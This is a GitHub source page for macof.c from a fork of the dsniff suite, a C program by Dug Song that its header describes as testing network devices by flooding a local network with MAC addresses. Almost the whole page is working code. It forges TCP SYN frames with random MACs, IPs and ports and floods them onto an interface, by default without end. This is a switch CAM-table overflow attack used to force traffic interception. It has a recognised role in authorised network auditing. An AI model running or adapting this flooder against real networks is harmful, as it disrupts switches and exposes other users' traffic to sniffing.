forked from Marcus366/dsniff
-
Notifications
You must be signed in to change notification settings - Fork 0
/
macof.c
160 lines (127 loc) · 3.47 KB
/
macof.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
/*
macof.c
C port of macof-1.1 from the Perl Net::RawIP distribution.
Tests network devices by flooding local network with MAC-addresses.
Perl macof originally written by Ian Vitek <[email protected]>.
Copyright (c) 1999 Dug Song <[email protected]>
$Id: macof.c,v 1.13 2000/09/21 03:04:41 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
#include "version.h"
extern char *ether_ntoa(struct libnet_ether_addr *);
extern struct libnet_ether_addr *ether_aton(char *);
libnet_t *l = NULL;
in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char *Intf = NULL;
int Repeat = -1;
void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]"
"\n [-i interface] [-n times]\n");
exit(1);
}
void
gen_mac(u_char *mac)
{
*((in_addr_t *)mac) = libnet_get_prand(LIBNET_PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(LIBNET_PRu16);
}
int
main(int argc, char *argv[])
{
int c, i;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
char *srcstr, *dststr;
in_addr_t src, dst;
u_int16_t sport, dport;
u_int32_t seq;
u_char pkt[LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_TCP_H];
srcstr = dststr = NULL;
while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) {
switch (c) {
case 'v':
break;
case 's':
srcstr = optarg;
//Src = libnet_addr2name4(optarg, 0);
break;
case 'd':
dststr = optarg;
//Dst = libnet_name_resolve(optarg, 0);
break;
case 'e':
Tha = (u_char *)ether_aton(optarg);
break;
case 'x':
Sport = atoi(optarg);
break;
case 'y':
Dport = atoi(optarg);
break;
case 'i':
Intf = optarg;
break;
case 'n':
Repeat = atoi(optarg);
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 0)
usage();
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((l = libnet_init(LIBNET_LINK, Intf, ebuf)) == NULL)
errx(1, "%s", ebuf);
libnet_seed_prand(l);
Src = (in_addr_t)libnet_name2addr4(l, srcstr, LIBNET_DONT_RESOLVE);
Dst = (in_addr_t)libnet_name2addr4(l, dststr, LIBNET_DONT_RESOLVE);
for (i = 0; i != Repeat; i++) {
gen_mac(sha);
if (Tha == NULL) gen_mac(tha);
else memcpy(tha, Tha, sizeof(tha));
if (Src != 0) src = Src;
else src = libnet_get_prand(LIBNET_PRu32);
if (Dst != 0) dst = Dst;
else dst = libnet_get_prand(LIBNET_PRu32);
if (Sport != 0) sport = Sport;
else sport = libnet_get_prand(LIBNET_PRu16);
if (Dport != 0) dport = Dport;
else dport = libnet_get_prand(LIBNET_PRu16);
seq = libnet_get_prand(LIBNET_PRu32);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512, 0,
0, LIBNET_TCP_H, NULL, 0, l, 0);
libnet_build_ipv4(LIBNET_TCP_H + LIBNET_IPV4_H, 0,
libnet_get_prand(LIBNET_PRu16), 0, 64,
IPPROTO_TCP, 0, src, dst, NULL, 0, l, 0);
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, l, 0);
if (libnet_write(l) == -1) {
errx(1, "write");
}
fprintf(stderr, "%s ",
ether_ntoa((struct libnet_ether_addr *)sha));
fprintf(stderr, "%s %s.%d > %s.%d: S %u:%u(0) win 512\n",
ether_ntoa((struct libnet_ether_addr *)tha),
libnet_addr2name4(Src, LIBNET_DONT_RESOLVE), sport,
libnet_addr2name4(Dst, LIBNET_DONT_RESOLVE), dport, seq, seq);
}
exit(0);
}
/* 5000 */